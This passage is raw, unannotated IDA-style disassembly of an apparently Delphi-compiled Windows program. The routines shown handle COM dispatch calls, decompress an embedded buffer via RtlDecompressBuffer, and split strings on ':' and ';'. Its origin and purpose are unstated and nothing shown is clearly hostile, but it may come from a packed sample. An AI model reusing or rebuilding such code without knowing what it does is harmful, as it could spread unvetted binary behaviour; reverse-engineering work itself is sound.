		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+14h]
		cmp	eax, 80020006h
		jnz	short loc_400166BC
		push	ebp
		call	sub_400165BC
		pop	ecx
		jmp	short loc_400166C1
; ---------------------------------------------------------------------------


loc_400166BC:				; CODE XREF: sub_400165F0+C1j
		call	sub_4001606C


loc_400166C1:				; CODE XREF: sub_400165F0+CAj
		mov	esp, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_400165F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400166D0	proc near		; CODE XREF: sub_400166E8:loc_4001673Bp
		mov	ecx, off_4001B07C
		mov	dl, 1
		mov	eax, ds:off_40015D28
		call	sub_4000B0EC
		call	sub_400042E4
		retn
sub_400166D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400166E8	proc near		; DATA XREF: .itext:400193A6o
					; .bss:off_4001F294o

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [ebx+1], 40h
		jbe	short loc_40016719
		mov	ecx, off_4001AF64
		mov	dl, 1
		mov	eax, ds:off_40015D28
		call	sub_4000B0EC
		call	sub_400042E4


loc_40016719:				; CODE XREF: sub_400166E8+18j
		movzx	edx, word ptr [eax]
		cmp	dx, 9
		jnz	short loc_4001672A
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_40016740
; ---------------------------------------------------------------------------


loc_4001672A:				; CODE XREF: sub_400166E8+38j
		cmp	dx, 4009h
		jnz	short loc_4001673B
		mov	eax, [eax+8]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40016740
; ---------------------------------------------------------------------------


loc_4001673B:				; CODE XREF: sub_400166E8+47j
		call	sub_400166D0


loc_40016740:				; CODE XREF: sub_400166E8+40j
					; sub_400166E8+51j
		lea	eax, [ebp+var_104]
		push	eax
		movzx	ecx, byte ptr [ebx+2]
		inc	ecx
		movzx	eax, byte ptr [ebx+1]
		lea	edx, [ebx+eax+3]
		mov	eax, [ebp+var_4]
		call	sub_400165F0
		test	esi, esi
		jz	short loc_40016767
		mov	eax, esi
		call	sub_4000E3D8


loc_40016767:				; CODE XREF: sub_400166E8+76j
		mov	eax, [ebp+arg_C]
		push	eax
		push	esi
		lea	ecx, [ebp+var_104]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_40016280
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400166E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016784	proc near		; CODE XREF: sub_40016858+4p
					; sub_40016874+D4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	0
		push	ebx
		push	esi
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		xor	edx, edx
		push	ebp
		push	offset loc_40016849
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	eax, 80020009h
		jnz	short loc_40016802
		mov	eax, [ebx+1Ch]
		push	eax
		lea	eax, [ebp+var_8]
		mov	edx, [ebx+4]
		call	sub_40004B0C
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		mov	edx, [ebx+0Ch]
		call	sub_40004B0C
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		lea	eax, [ebp+var_10]
		mov	edx, [ebx+8]
		call	sub_40004B0C
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, ds:off_40015DDC
		call	sub_40015FB8
		mov	esi, eax
		cmp	[ebp+arg_0], 0
		jz	short loc_40016815
		mov	eax, ebx
		mov	edx, ds:off_40006ABC
		call	sub_40005400
		jmp	short loc_40016815
; ---------------------------------------------------------------------------


loc_40016802:				; CODE XREF: sub_40016784+25j
		push	eax
		push	0
		xor	ecx, ecx
		mov	dl, 1
		mov	eax, ds:off_40015D80
		call	sub_40015EE4
		mov	esi, eax


loc_40016815:				; CODE XREF: sub_40016784+6Dj
					; sub_40016784+7Cj
		cmp	[ebp+var_4], 0
		jz	short loc_40016827
		push	[ebp+var_4]
		mov	eax, esi
		jmp	sub_400042E4
; ---------------------------------------------------------------------------
		jmp	short loc_4001682E
; ---------------------------------------------------------------------------


loc_40016827:				; CODE XREF: sub_40016784+95j
		mov	eax, esi
		call	sub_400042E4


loc_4001682E:				; CODE XREF: sub_40016784+A1j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016850


loc_4001683B:				; CODE XREF: sub_40016784+CAj
		lea	eax, [ebp+var_10]
		mov	edx, 3
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40016849:				; DATA XREF: sub_40016784+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001683B
; ---------------------------------------------------------------------------


loc_40016850:				; CODE XREF: sub_40016784+C4j
					; DATA XREF: sub_40016784+B2o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40016784	endp


; =============== S U B	R O U T	I N E =======================================



sub_40016858	proc near		; CODE XREF: sub_40016280+2B9p
		push	0
		xor	ecx, ecx
		call	sub_40016784
		retn
sub_40016858	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40016864	proc near		; CODE XREF: sub_40016874+A6p
		xor	ecx, ecx
		mov	edx, 20h
		call	sub_40003580
		retn
sub_40016864	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016874	proc near		; CODE XREF: sub_40016958+1Ep

var_30		= byte ptr -30h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD0h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		mov	edi, esp
		movzx	ecx, byte ptr [ebx+1]
		mov	[ebp+var_8], ecx
		test	ecx, ecx
		jz	short loc_400168DA
		add	ebx, 3
		mov	esi, [ebp+arg_10]


loc_40016895:				; CODE XREF: sub_40016874+61j
		movzx	eax, byte ptr [ebx]
		test	al, 80h
		jnz	short loc_400168C4
		cmp	al, 0Ch
		jz	short loc_400168B4
		cmp	al, 5
		jb	short loc_400168CB
		cmp	al, 7
		ja	short loc_400168CB
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	edx
		push	eax
		add	esi, 8
		jmp	short loc_400168D3
; ---------------------------------------------------------------------------


loc_400168B4:				; CODE XREF: sub_40016874+2Aj
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		add	esi, 10h
		jmp	short loc_400168D3
; ---------------------------------------------------------------------------


loc_400168C4:				; CODE XREF: sub_40016874+26j
		and	al, 7Fh
		or	eax, 4000h


loc_400168CB:				; CODE XREF: sub_40016874+2Ej
					; sub_40016874+32j
		push	edx
		push	dword ptr [esi]
		push	edx
		push	eax
		add	esi, 4


loc_400168D3:				; CODE XREF: sub_40016874+3Ej
					; sub_40016874+4Ej
		inc	ebx
		dec	ecx
		jnz	short loc_40016895
		mov	ebx, [ebp+arg_4]


loc_400168DA:				; CODE XREF: sub_40016874+19j
		mov	[ebp+var_10], esp
		movzx	eax, byte ptr [ebx+2]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_400168F2
		mov	esi, [ebp+arg_C]


loc_400168EB:				; CODE XREF: sub_40016874+7Cj
		push	dword ptr [esi+eax*4-4]
		dec	eax
		jnz	short loc_400168EB


loc_400168F2:				; CODE XREF: sub_40016874+72j
		movzx	ecx, byte ptr [ebx]
		cmp	ecx, 4
		jnz	short loc_40016910
		push	0FFFFFFFDh
		inc	[ebp+var_4]
		cmp	byte ptr [ebx+3], 9
		jz	short loc_4001690B
		cmp	byte ptr [ebx+3], 0Dh
		jnz	short loc_40016910


loc_4001690B:				; CODE XREF: sub_40016874+8Fj
		mov	ecx, 8


loc_40016910:				; CODE XREF: sub_40016874+84j
					; sub_40016874+95j
		mov	[ebp+var_C], esp
		push	edx
		lea	eax, [ebp+var_30]
		push	eax
		push	ecx
		push	edx
		call	sub_40016864
		pop	edx
		pop	ecx
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10]
		push	eax
		push	ecx
		push	edx
		push	offset dword_4001A7CC
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+18h]
		test	eax, eax
		jz	short loc_4001694D
		lea	edx, [ebp+var_30]
		mov	cl, 1
		push	ecx
		mov	ecx, [ebp+4]
		jmp	sub_40016784
; ---------------------------------------------------------------------------


loc_4001694D:				; CODE XREF: sub_40016874+C9j
		mov	esp, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	18h
sub_40016874	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016958	proc near		; DATA XREF: .itext:400193B8o
					; .bss:off_4001C000o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	eax, esp
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	eax
		push	dword ptr [ebx]
		lea	eax, [ebx+5]
		push	eax
		push	[ebp+arg_4]
		call	sub_40016874
		movzx	eax, byte ptr [ebx+4]
		mov	ebx, [ebp+arg_0]
		jmp	ds:off_40016989[eax*4]
; ---------------------------------------------------------------------------
off_40016989	dd offset loc_40016A2E	; DATA XREF: sub_40016958+2Ar
		dd offset loc_40016A2E
		dd offset loc_40016A2A
		dd offset loc_40016A2A
		dd offset loc_400169CD
		dd offset loc_400169D3
		dd offset loc_400169D9
		dd offset loc_400169D3
		dd offset loc_400169DF
		dd offset loc_400169F3
		dd offset loc_40016A2E
		dd offset loc_40016A2A
		dd offset loc_40016A07
		dd offset loc_400169F3
		dd offset loc_40016A2E
		dd offset loc_40016A2E
		dd offset loc_40016A2A
; ---------------------------------------------------------------------------


loc_400169CD:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+41o
		fld	dword ptr [esp+14h+var_C]
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169D3:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+45o ...
		fld	[esp+14h+var_C]
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169D9:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+49o
		fild	[esp+14h+var_C]
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169DF:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+51o
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_400169EB
		push	eax
		call	sub_40006B00


loc_400169EB:				; CODE XREF: sub_40016958+8Bj
		mov	eax, dword ptr [esp+14h+var_C]
		mov	[ebx], eax
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169F3:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+55o ...
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_400169FF
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_400169FF:				; CODE XREF: sub_40016958+9Fj
		mov	eax, dword ptr [esp+14h+var_C]
		mov	[ebx], eax
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_40016A07:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+61o
		mov	eax, ebx
		call	sub_4000E3D8
		mov	eax, [esp+14h+var_14]
		mov	[ebx], eax
		mov	eax, [esp+14h+var_10]
		mov	[ebx+4], eax
		mov	eax, dword ptr [esp+14h+var_C]
		mov	[ebx+8], eax
		mov	eax, dword ptr [esp+14h+var_C+4]
		mov	[ebx+0Ch], eax
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_40016A2A:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+39o ...
		mov	eax, dword ptr [esp+14h+var_C]


loc_40016A2E:				; CODE XREF: sub_40016958+2Aj
					; sub_40016958+79j ...
		add	esp, 10h
		pop	ebx
		pop	ebp
		retn
sub_40016958	endp


; =============== S U B	R O U T	I N E =======================================



sub_40016A34	proc near		; DATA XREF: .itext:400193E6o
					; .bss:off_4001C044o
		cmp	ds:dword_4001F370, 0
		jz	short loc_40016A43
		call	ds:dword_4001F370


loc_40016A43:				; CODE XREF: sub_40016A34+7j
		cmp	dword_4001ADA0,	0FFFFFFFFh
		jz	short loc_40016A9B
		cmp	dword_4001AD8C,	0
		jz	short loc_40016A9B
		mov	eax, dword_4001ADA0
		push	eax
		push	0
		call	dword_4001AD8C
		test	eax, 80000000h
		setz	al
		mov	ds:byte_4001F374, al
		mov	eax, off_4001AF20
		cmp	byte ptr [eax],	0
		jnz	short loc_40016A90
		test	byte ptr dword_4001ADA0, 2
		jnz	short loc_40016A90
		cmp	dword_4001ADA0,	0
		jz	short loc_40016A90
		xor	eax, eax
		jmp	short loc_40016A92
; ---------------------------------------------------------------------------


loc_40016A90:				; CODE XREF: sub_40016A34+44j
					; sub_40016A34+4Dj ...
		mov	al, 1


loc_40016A92:				; CODE XREF: sub_40016A34+5Aj
		mov	edx, off_4001AF20
		mov	[edx], al
		retn
; ---------------------------------------------------------------------------


loc_40016A9B:				; CODE XREF: sub_40016A34+16j
					; sub_40016A34+1Fj
		push	0
		call	sub_40006AF0
		test	eax, 80000000h
		setz	al
		mov	ds:byte_4001F374, al
		retn
sub_40016A34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016AB0	proc near		; DATA XREF: .text:400183D0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40016B26
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F364
		jnz	short loc_40016B18
		mov	ds:byte_4001F368, 1
		mov	eax, ds:dword_4001F36C
		call	sub_40003CE8
		mov	eax, off_4001B054
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AEF8
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001B02C
		xor	edx, edx
		mov	[eax], edx
		cmp	ds:byte_4001F374, 0
		jz	short loc_40016B03
		call	sub_40006AF8


loc_40016B03:				; CODE XREF: sub_40016AB0+4Cj
		mov	eax, offset dword_4001ADA4
		mov	ecx, 5
		mov	edx, ds:off_40001000
		call	sub_40005314


loc_40016B18:				; CODE XREF: sub_40016AB0+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016B2D


loc_40016B25:				; CODE XREF: sub_40016AB0+7Bj
		retn
; ---------------------------------------------------------------------------


loc_40016B26:				; DATA XREF: sub_40016AB0+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016B25
; ---------------------------------------------------------------------------


loc_40016B2D:				; CODE XREF: sub_40016AB0:loc_40016B25j
					; DATA XREF: sub_40016AB0+70o
		pop	ebp
		retn
sub_40016AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40016B30	proc near		; CODE XREF: sub_40016B44+7Fp
		jmp	ds:dword_40024668
sub_40016B30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40016B38	proc near		; CODE XREF: sub_40016B44+25p
					; sub_40016C04+31p ...
		test	eax, eax
		jz	short locret_40016B41
		sub	eax, 4
		mov	eax, [eax]

locret_40016B41:			; CODE XREF: sub_40016B38+2j
		retn
sub_40016B38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016B44	proc near		; CODE XREF: .itext:400197C1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40016BF1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_40016B38
		mov	ebx, eax
		cmp	ebx, 4
		jbe	short loc_40016BD4
		lea	eax, [ebp+arg_4]
		call	sub_40004DA0
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_40004F74
		cmp	dword ptr [edi], 80000h
		jbe	short loc_40016B99
		mov	[ebp+var_8], 2
		jmp	short loc_40016BA0
; ---------------------------------------------------------------------------


loc_40016B99:				; CODE XREF: sub_40016B44+4Aj
		mov	[ebp+var_8], 102h


loc_40016BA0:				; CODE XREF: sub_40016B44+53j
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_40004DA0
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_40004DA0
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40016B30	; RtlDecompressBuffer
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_40004F74
		jmp	short loc_40016BDB
; ---------------------------------------------------------------------------


loc_40016BD4:				; CODE XREF: sub_40016B44+2Fj
		mov	eax, esi
		call	sub_40004884


loc_40016BDB:				; CODE XREF: sub_40016B44+8Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016BF8


loc_40016BE8:				; CODE XREF: sub_40016B44+B2j
		lea	eax, [ebp+arg_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40016BF1:				; DATA XREF: sub_40016B44+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016BE8
; ---------------------------------------------------------------------------


loc_40016BF8:				; CODE XREF: sub_40016B44+ACj
					; DATA XREF: sub_40016B44+9Fo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_40016B44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016C04	proc near		; CODE XREF: .itext:400197CEp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40016CCD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_40004884
		mov	eax, [ebp+arg_4]
		call	sub_40016B38
		mov	[ebp+var_8], eax
		mov	edi, 1
		cmp	edi, [ebp+var_8]
		ja	short loc_40016CAF


loc_40016C47:				; CODE XREF: sub_40016C04+A9j
		mov	eax, [ebp+arg_4]
		movzx	ebx, byte ptr [eax+edi-1]
		test	bl, bl
		jnz	short loc_40016C8F
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax+edi]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_40016B38
		mov	[ebp+var_C], eax
		movzx	edx, [ebp+var_1]
		add	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40004F74
		mov	eax, esi
		call	sub_40004DA0
		mov	edx, [ebp+var_C]
		add	eax, edx
		movzx	edx, [ebp+var_1]
		xor	ecx, ecx
		call	sub_40003580
		inc	edi
		jmp	short loc_40016CA9
; ---------------------------------------------------------------------------


loc_40016C8F:				; CODE XREF: sub_40016C04+4Dj
		lea	eax, [ebp+var_10]
		mov	edx, [ebp+arg_4]
		movzx	edx, byte ptr [edx+edi-1]
		call	sub_40004A6C
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_40004B50


loc_40016CA9:				; CODE XREF: sub_40016C04+89j
		inc	edi
		cmp	edi, [ebp+var_8]
		jbe	short loc_40016C47


loc_40016CAF:				; CODE XREF: sub_40016C04+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016CD4


loc_40016CBC:				; CODE XREF: sub_40016C04+CEj
		lea	eax, [ebp+var_10]
		call	sub_40004884
		lea	eax, [ebp+arg_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40016CCD:				; DATA XREF: sub_40016C04+1Co
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016CBC
; ---------------------------------------------------------------------------


loc_40016CD4:				; CODE XREF: sub_40016C04+C8j
					; DATA XREF: sub_40016C04+B3o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40016C04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40016CE0	proc near		; CODE XREF: .itext:40019A90p
		jmp	ds:dword_40024670
sub_40016CE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016CE8	proc near		; CODE XREF: sub_40017374+41p
					; .itext:40019606p ...

var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40016D45
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_104]
		mov	eax, ebx
		call	sub_40003790
		lea	edx, [ebp+var_104]
		lea	eax, [ebp+var_4]
		call	sub_40004AE8
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016D4C


loc_40016D3C:				; CODE XREF: sub_40016CE8+62j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40016D45:				; DATA XREF: sub_40016CE8+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016D3C
; ---------------------------------------------------------------------------


loc_40016D4C:				; CODE XREF: sub_40016CE8+5Cj
					; DATA XREF: sub_40016CE8+4Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40016CE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40016D54	proc near		; CODE XREF: sub_40016D80+B4p
					; sub_40016D80+FBp
		push	ecx
		mov	edx, esp
		call	sub_4000379C
		pop	edx
		retn
sub_40016D54	endp

; ---------------------------------------------------------------------------
		align 10h
off_40016D60	dd offset dword_40016D64 ; DATA	XREF: sub_40016D80+7Dr
					; sub_40016D80+12Er ...
dword_40016D64	dd 312E0211h, 4			dd offset off_40001000
		dd 48h
		dd offset off_40001000
		dd 75745304h, 408D62h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016D80	proc near		; CODE XREF: .itext:4001979Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40016F53
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_4000491C


loc_40016DB5:				; CODE XREF: sub_40016D80+60j
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F6C
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40004DE8
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F6C
		call	sub_40004E30
		test	eax, eax
		jg	short loc_40016DB5
		xor	edi, edi
		lea	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	edx, 4
		call	sub_40003580
		push	1
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, ds:off_40016D60
		call	sub_40005B28
		add	esp, 4
		jmp	loc_40016EE1
; ---------------------------------------------------------------------------


loc_40016E10:				; CODE XREF: sub_40016D80+170j
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F78
		call	sub_40004E30
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_8]
		call	sub_40004DA8
		mov	eax, [ebp+var_14]
		call	sub_40016D54
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F78
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40004DE8
		lea	eax, [ebp+var_18]
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F84
		call	sub_40004E30
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_8]
		call	sub_40004DA8
		mov	eax, [ebp+var_18]
		call	sub_40016D54
		mov	esi, eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F84
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40004DE8
		cmp	edi, ebx
		jg	short loc_40016EBC
		lea	edi, [ebx+1]
		push	edi
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, ds:off_40016D60
		call	sub_40005B28
		add	esp, 4


loc_40016EBC:				; CODE XREF: sub_40016D80+120j
		mov	eax, [ebp+var_C]
		lea	eax, [eax+ebx*4]
		push	eax
		mov	ecx, esi
		mov	edx, 1
		mov	eax, [ebp+var_4]
		call	sub_40004DA8
		lea	eax, [ebp+var_4]
		mov	ecx, esi
		mov	edx, 1
		call	sub_40004DE8


loc_40016EE1:				; CODE XREF: sub_40016D80+8Bj
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F84
		call	sub_40004E30
		test	eax, eax
		jg	loc_40016E10
		mov	eax, [ebp+var_10]
		call	sub_40004884
		mov	ebx, edi
		dec	ebx
		test	ebx, ebx
		jl	short loc_40016F1D
		inc	ebx
		xor	esi, esi


loc_40016F08:				; CODE XREF: sub_40016D80+19Bj
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		mov	edx, [edx+esi*4]
		call	sub_40004B50
		mov	eax, [ebp+var_10]
		inc	esi
		dec	ebx
		jnz	short loc_40016F08


loc_40016F1D:				; CODE XREF: sub_40016D80+183j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016F5A


loc_40016F2A:				; CODE XREF: sub_40016D80+1D8j
		lea	eax, [ebp+var_18]
		mov	edx, 2
		call	sub_400048A8
		lea	eax, [ebp+var_C]
		mov	edx, ds:off_40016D60
		call	sub_40005B34
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40016F53:				; DATA XREF: sub_40016D80+1Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016F2A
; ---------------------------------------------------------------------------


loc_40016F5A:				; CODE XREF: sub_40016D80+1D2j
					; DATA XREF: sub_40016D80+1A5o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40016D80	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40016F6C	dd 1, 0FFFFFFFFh, 1					; sub_40016D80+54o
dword_40016F78	dd 3Ah,	0FFFFFFFFh, 1					; sub_40016D80+BEo
dword_40016F84	dd 3Bh							; sub_40016D80+105o ...

; =============== S U B	R O U T	I N E =======================================



sub_40016F88	proc near		; CODE XREF: .itext:4001959Bp
					; .itext:4001970Cp
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah
		push	edx
